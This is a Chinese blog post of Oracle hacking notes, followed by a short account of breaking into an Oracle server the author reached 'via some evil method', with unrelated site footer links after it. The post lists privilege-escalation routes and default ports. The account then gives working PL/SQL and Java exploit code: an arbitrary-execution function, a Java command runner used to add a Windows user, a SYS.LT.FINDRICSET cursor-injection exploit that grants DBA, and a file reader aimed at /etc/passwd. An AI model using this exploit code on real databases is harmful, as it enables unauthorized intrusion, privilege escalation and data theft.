hacking oracle笔记

简介: ###author:hiphop### ###qq:70381908###为什么要关注 Oracle ?因为Oracle 被大量企业所使用,有许多目标可以选择来渗透许多企业都没有更新且有潜在的...
###author:hiphop###
###qq:70381908###

为什么要关注 Oracle ?
因为Oracle 被大量企业所使用,有许多目标可以选择来渗透
许多企业都没有更新且有潜在的方险!
提权非常简单,容易拿到shell!!

读了blackhat paper 让我开始来研究Oracle
因为他只讲到一小部份 真正安全问题还有很广的
只是国内好像很少挖掘
因为遇到的环境不多
但是阿 Oracle 是 free download 呵呵
付费才可以upgrade

一般连接 Oracle 需要以下几个条件:
IP
PORT
SID
username/password

The Oracle listener default port is 1521
generally in the 1521-1540 range
扫描刺探不会跟你说用什么版本但新版的nmap 可以取得到一些,使用TNS packet可以解决这个问题
TNS packet 可以了解 oracle 版本
SID 刺探方式:
1.TNS listener directly
2.brute force for default sid
3.query other component 可能包含有SID

u/p 破解

提权方法:
提權 1 java function
Win32Exec
提權2 smbrelay
Run OS commands via sql injection in web applications
Run OS commands via create table
Run OS commands via dbms scheduler
Run OS commands via PL/SQL and Extproc
Run OS commands via Java
Run OS commands via Oracle Text
Run OS commands via PL/SQL Native (9i)
Run OS commands via PL/SQL Native (10g / 11g)
Run OS commands via alter system set events

还会陆续增加!!
此文只是我的research 的小笔记

另外介绍一款工具 可以做到部份唷 py写的
download: http://inguma.sourceforge.net/
demo:http://inguma.sourceforge.net/text/inguma_text.html


注:
Oracle default port list
Oracle HTTP Server listen port / Oracle HTTP Server port 80 Oracle Application Server Edit httpd.conf and restart OHS
Oracle Internet Directory(non-SSL) 389 Oracle Application Server  
Oracle HTTP Server SSL port 443 Oracle Application Server Edit httpd.conf and restart OHS
Oracle Internet Directory(SSL) 636 Oracle Application Server  
Oracle Net Listener / Enterprise Manager Repository port 1521 Oracle Application Server / Oracle Database Edit listener.ora and restart listener
Oracle Net Listener 1526 Oracle Database Edit listener.ora and restart listener
Oracle Names 1575 Oracle Database Edit names.ora and restart names server
Oracle Connection Manager (CMAN) 1630 Oracle Connection Manager Edit cman.ora and restart Connection Manager
Oracle JDBC for Rdb Thin Server 1701 Oracle Rdb  
Oracle Intelligent Agent 1748 Oracle Application Server snmp_rw.ora
Oracle Intelligent Agent 1754 Oracle Application Server snmp_rw.ora
Oracle Intelligent Agent 1808 Oracle Application Server snmp_rw.ora
Oracle Intelligent Agent 1809 Oracle Application Server snmp_rw.ora
Enterprise Manager Servlet port SSL 1810 Oracle Enterprise Manager  
Oracle Connection Manager Admin (CMAN) 1830 Oracle Connection Manager (CMAN) Edit cman.ora and restart Connection Manager
Enterprise ManagerAgent port 1831 Oracle Enterprise Manager  
Enterprise Manager  RMI port 1850 Oracle Enterprise Manager  
Oracle XMLDB FTP Port 2100 Oracle Database change dbms_xdb.cfg_update
Oracle GIOP IIOP 2481 Oracle Database Edit listener.ora/init.ora and restart listener/database
Oracle GIOP IIOP for SSL 2482 Oracle Database Edit listener.ora/init.ora and restart listener/database
Oracle OC4J RMI 3201 Oracle Application Server  
Oracle OC4J AJP 3301 Oracle Application Server  
Enterprise Manager Reporting port 3339 Oracle Application Server Edit oem_webstage/oem.conf and restart OHS
Oracle OC4J IIOP 3401 Oracle Application Server  
Oracle OC4J IIOPS1 3501 Oracle Application Server  
Oracle OC4J IIOPS2 3601 Oracle Application Server  
Oracle OC4J JMS 3701 Oracle Application Server  
Oracle9iAS Web Cache Admin port 4000 Oracle Application Server Webcache Admin GUI or webcache.xml
Oracle9iAS Web Cache Invalidation port 4001 Oracle Application Server Webcache Admin GUI or webcache.xml
Oracle9iAS Web Cache Statistics port 4002 Oracle Application Server Webcache Admin GUI or webcache.xml
Oracle Internet Directory(SSL) 4031 Oracle Application Server  
Oracle Internet Directory(non-SSL) 4032 Oracle Application Server  
OracleAS Certificate Authority (OCA) - Server Authentication 4400 Oracle Application Server  
OracleAS Certificate Authority (OCA) - Mutual Authentication 4401 Oracle Application Server  
Oracle HTTP Server SSL  port 4443 Oracle Application Server Edit httpd.conf and restart OHS
Oracle9iAS Web Cache HTTP Listen(SSL) port 4444 Oracle Application Server Webcache Admin GUI or webcache.xml
Oracle TimesTen 4662 Oracle TimesTen  
Oracle TimesTen 4758 Oracle TimesTen  
Oracle TimesTen 4759 Oracle TimesTen  
Oracle TimesTen 4761 Oracle TimesTen  
Oracle TimesTen 4764 Oracle TimesTen  
Oracle TimesTen 4766 Oracle TimesTen  
Oracle TimesTen 4767 Oracle TimesTen  
Oracle Enterprise Manager Web Console 5500 Oracle Enterprise Manager Web  
iSQLPlus 10g 5560 Oracle i*SQLPlus  
iSQLPlus 10g 5580 Oracle i*SQLPlus RMI Port  
Oracle Notification Service request port 6003 Oracle Application Server  
Oracle Notification Service local port 6100 Oracle Application Server  
Oracle Notification Service remote port 6200 Oracle Application Server  
Oracle9iAS Clickstream Collector Agent 6668 Oracle Application Server  
Java Object Cache port 7000 Oracle Application Server  
DCM Java Object Cache port 7100 Oracle Application Server  
Oracle HTTP Server Diagnostic Port 7200 Oracle Application Server  
Oracle HTTP Server Port Tunneling 7501 Oracle Application Server  
Oracle HTTP Server listen port / Oracle HTTP Server port 7777 Oracle Application Server Edit httpd.conf and restart OHS
Oracle9iAS Web Cache HTTP Listen(non-SSL) port 7779 Oracle Application Server Webcache Admin GUI or webcache.xml
Oracle HTTP Server Jserv port 8007 Oracle Application Server  
OC4J Forms / Reports Instance 8888 Oracle Developer Suite change dbms_xdb.cfg_update
OC4J Forms / Reports Instance 8889 Oracle Developer Suite  
Oracle Forms Server 6 / 6i 9000 Oracle Application Server  
Oracle SOAP Server 9998 Oracle Application Server  
OS Agent 14000 Oracle Application Server  
Oracle Times Ten 15000 Oracle Times Ten  
Oracle Times Ten 15002 Oracle Times Ten  
Oracle Times Ten 15004 Oracle Times Ten  
Log Loader 44000 Oracle Enterprise Manager  

这是两年前的一篇笔记。内容有删减。

先是通过某个邪恶的方法连接了oracle服务器......(过程略)


很快便连接上oracle服务器,此时发现:
1.连接后不是dba权限
2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限
3.运行SELECT UTL_HTTP.request('http://xxxxxxxxxxx/login.jsp') FROM dual 后发现oracle服务器不能连接网络。


幸运的是,
运行
create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;

成功!这个用户具有create proceduce权限。

此时马上想到创建java扩展执行命令:

create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"/n";myReader.close();return str;} catch (Exception e){return e.toString();}}}


begin dbms_java.grant_permission('PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' );end;

create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name 'LinxUtil.runCMD(java.lang.String) return String'

select  * from all_objects where  object_name like '%LINX%'
grant all on LinxRunCMD to public
select  LinxRunCMD('cmd /c net user linx /add') from dual


但是在第一步就卡住了,服务器由于某种未知原因 不能创建java扩展!!
还好,我们还有UTL库可以利用:

create or replace function LinxUTLReadfile (filename varchar2) return varchar2 is
fHandler UTL_FILE.FILE_TYPE;
buf      varchar2(4000);
output      varchar2(8000);
BEGIN
fHandler := UTL_FILE.FOPEN('UTL_FILE_DIR', filename, 'r');
loop  
begin  
utl_file.get_line(fHandler,buf);  
DBMS_OUTPUT.PUT_LINE('Cursor: '||buf);
exception    
when   no_data_found   then   exit;  
end;  
output := output||buf||chr(10);
end   loop;  
UTL_FILE.FCLOSE(fHandler);
return output;
END;


UTL_FILE_DIR需要先用:

CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';

指定目录。但运行后发现没有权限。只好想办法提权。


***************游标注射***************

老外写了N个pdf介绍这技术,我精简了代码:


DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''GRANT DBA TO linxlinx_current_db_user'';commit;end;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
BEGIN SYS.LT.FINDRICSET('.''||dbms_sql.execute(    '||MYC||'      )||'''')--','x'); END;
raise NO_DATA_FOUND;
EXCEPTION
WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);   
END;


运行后重新连接就有dba权限了,简单吧......


现在可以读取文件了:


CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';
select LinxUTLReadfile('passwd') from dual


后面就简单了,不写了。

目录
相关文章
|
5天前
|
存储 弹性计算 缓存
阿里云服务器租赁费用:新版租赁收费标准及活动报价参考
本文更新了2026年阿里云全系列云服务器租赁活动报价,所有特惠资源均可前往阿里云活动中心选购,整体覆盖从个人入门到企业级高性能场景的全梯度需求。其中轻量应用服务器主打极致性价比,2核2G峰值200M带宽配置每日10点、15点限时抢购价仅38元/年,2核4G配置379元/年起;高性价比的经济型e实例、通用算力型u2i实例覆盖2核4G至4核32G全档位,适配开发测试与中小型企业业务;搭载英特尔至强6处理器的第九代c9i企业级实例算力较上代提升20%,支撑高并发生产环境,不同实例规格价差清晰,用户可根据自身业务负载与预算灵活选型。
1574 112
|
12天前
|
云安全 人工智能 运维
阿里云联动百位企业安全专家,共识Agent防御最佳实践
当Agent成为新员工,你的安全边界在哪里?
1941 8
阿里云联动百位企业安全专家,共识Agent防御最佳实践
|
6天前
|
人工智能 程序员 API
Codex 接入 DeepSeek-V4-Flash:还能补上识图,提供两套方案
Codex 接入 DeepSeek-V4-Flash 怎么配?本文覆盖 CLI 与桌面端,再用 qwen3-vl-flash 补识图,两套方案可直接照做
|
6天前
|
编解码 人工智能 安全
2核4G/4核8G/8核16G阿里云服务器如何选择实例?经济型e、通用算力型u2i与计算型c9i选哪个?
本文介绍了阿里云2核4G、4核8G、8核16G三档主流配置下经济型e、通用算力型u2i和计算型c9i三种实例的最新活动价格与适用场景。同配置下三者价差显著,以2核4G为例,经济型e低至599.93元/年,计算型c9i则高达1742.08元/年。文章详细解析了各实例的性能定位:经济型e适合轻负载入门场景,u2i兼顾稳定算力与性价比,c9i凭借第9代至强处理器与芯片级安全能力支撑高性能业务。同时提示用户可叠加满减优惠券享受折上折,建议根据业务负载与预算综合决策。
529 112
|
18天前
|
人工智能 前端开发 Linux
Codex 桌面版安装 + CC Switch 接入第三方 API 完整教程(2026 最新)
2026最新教程:手把手教你安装Codex桌面版,通过CC Switch v3.17.0一键接入Fenno等国产API(兼容OpenAI Responses格式),跳过账号登录,完整启用代码审查、多步任务与上下文感知功能。零基础友好,全程图文实操。(239字)
2567 4
|
10天前
|
存储 人工智能 关系型数据库
阿里云AI产品与云产品最新组合套餐:Token Plan、AI coding及云服务器和建站等组合优惠价
阿里云推出全新“算力+模型+应用”一站式云与AI组合套餐活动,覆盖从个人开发者到中大型企业的全场景需求。核心亮点为分三档定价的Token Plan订阅服务,支持Qwen3.8-Max-Preview大模型调用,错峰时段最低可享0.2折优惠。活动同步推出AI Coding、智能体部署、云电脑托管、0代码建站等十余类场景化组合,搭配99元/年的普惠云服务器、88元/年的入门数据库等经典特惠产品,还为企业提供1V1定制化AI转型方案,大幅降低了不同用户群体拥抱AI的技术门槛与采购成本。
721 111
|
20天前
|
人工智能 JSON 安全
Fastjson远程代码执行漏洞,阿里云AI安全为您保驾护航
阿里云AI安全产品联动防御Fastjson攻击
2636 13
Fastjson远程代码执行漏洞,阿里云AI安全为您保驾护航
|
6天前
|
人工智能 JSON Shell
2026AI漫剧本地全开源方案(附各个软件模型链接),8G显卡也能流畅运行
这是一套完全本地化部署的AI漫剧生成技术链路:涵盖LLM剧本分镜生成、FLUX文生图(IP-Adapter人脸锁定)、StoryDiffusion时序连贯控制、LTX-2.3唇形同步视频生成,及ComfyUI全流程调度。零云端费用,仅耗硬件算力,单集2–4小时可产出竖屏短视频,适配抖音/B站分发。
|
7天前
Qoder 一周年 × Qwen3.8-Max 正式上线,多重好礼限时领
8月3日,Qwen3.8-Max 正式上线Qoder,迎来Qoder一周年。新老用户可领800次免费调用,下单再赠2000次;夜间(22:00–08:00)调用5折;邀请好友双方得积分与调用额度。
448 1

热门文章

最新文章